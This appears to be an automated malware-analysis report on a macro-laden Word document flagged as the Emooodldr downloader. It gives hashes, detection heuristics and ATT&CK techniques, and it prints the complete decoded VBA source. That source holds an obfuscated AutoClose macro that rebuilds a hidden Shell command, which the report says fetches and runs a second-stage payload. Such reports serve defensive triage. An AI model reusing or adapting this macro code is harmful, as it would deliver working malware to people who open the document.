Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 cfde9188f77427c5…

MALICIOUS

Office (OOXML)

36.2 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-08-04
MD5: 8c5ecc13e19fecd5215e191f73e40bfe SHA-1: 6d1d952a34b0a40f44adbfd08ed1970cda0a1581 SHA-256: cfde9188f77427c56c541fba1ff15249dbdf2baf3f466367ba72a5c9a70b0d80
244 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that calls the Shell function. This indicates the document is designed to execute arbitrary code upon opening or closing. The ClamAV detection and heuristic firings confirm its malicious nature, identifying it as Emooodldr. The VBA script attempts to download and execute a second-stage payload using a heavily obfuscated string, which is reconstructed as '313039172429481706062615462717082610543112292926150330212112135326493217391537053617085226435429521721283217522825170503060917135251280230391306301253500906174944485252312338383030404029272708271712522424172808302138130913303812135442'.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2413 bytes
SHA-256: aa60e02ccb2774ffc11f206a3f9a5438ec5ee7ef131ec3f41fe31f6f8c8f75cf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function rimbalzo(computer As Integer) As String
 Dim visione() As Variant
 visione = Array("v", ",", "D", "C", "u", "b", "l", "g", "c", "i", "B", "I", "a", "n", "f", "-", "$", "e", "=", "V", "A", "m", "P", ":", "r", "W", " ", "x", ".", "s", "o", "p", "N", "X", ";", "+", "j", "O", "/", "w", "q", "T", "k", "S", "'", "\", "E", "?", "h", "(", "F", ")", "t", "d", "y")
 Dim spia As Integer
 
 For spia = LBound(visione) To UBound(visione)
   If spia = computer Then
    rimbalzo = visione(spia)
   End If
 Next
 
End Function

Function iterare(norvegese As String) As String
  Dim inter As Integer
  Dim prima As String
  Dim neve As Variant
  neve = braccio(Trim(norvegese))
  For spia = 0 To Len(norvegese)
  
    Dim seguito As String
    If (spia + 1) <= UBound(neve) Then
    seguito = neve(spia) + neve(spia + 1)
    spia = spia + 1
    prima = prima + rimbalzo(Int(seguito))
    End If
  Next
  
  iterare = prima
End Function

Function braccio(prelievo As String)
    prelievo = StrConv(prelievo, vbUnicode)
    braccio = Split(Left(prelievo, Len(prelievo) - 1), vbNullChar)
End Function



Public Function serraglio(monco As String)
  Shell monco, 0
End Function

Sub AutoClose()
 Call Application.Run("serraglio", iterare("3130391724294817060626154627170826105431122929261503302121121353264932173915370536170852264354295217212832175228251705030609171352512802303913063012535009061749444852523123383830304040292727082717125224241728083021381309133038121354422148282153144401261617130023202222022041202635264445484113083704315254281727174451342643521224521522243008172929261617130023202222022041204445484113083704315254281727174434264932173915370536170852264354295217212832175228251705030609171352512802303913063012534352240913074944485252312338383030404029272708271712522424172808302138292831483147095318121354422148445134261146334949321739153705361708522643542952172128321752282517050306091713525128023039130630125343522409130749444852523123383829131231082412084206172948305228083021383931150830135217135238043106301253293820194308121328120852093013445151"))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 7e382f46ec26c5a026bb5099721dc6197b3945eaba964f09b079feb099cbc5eb
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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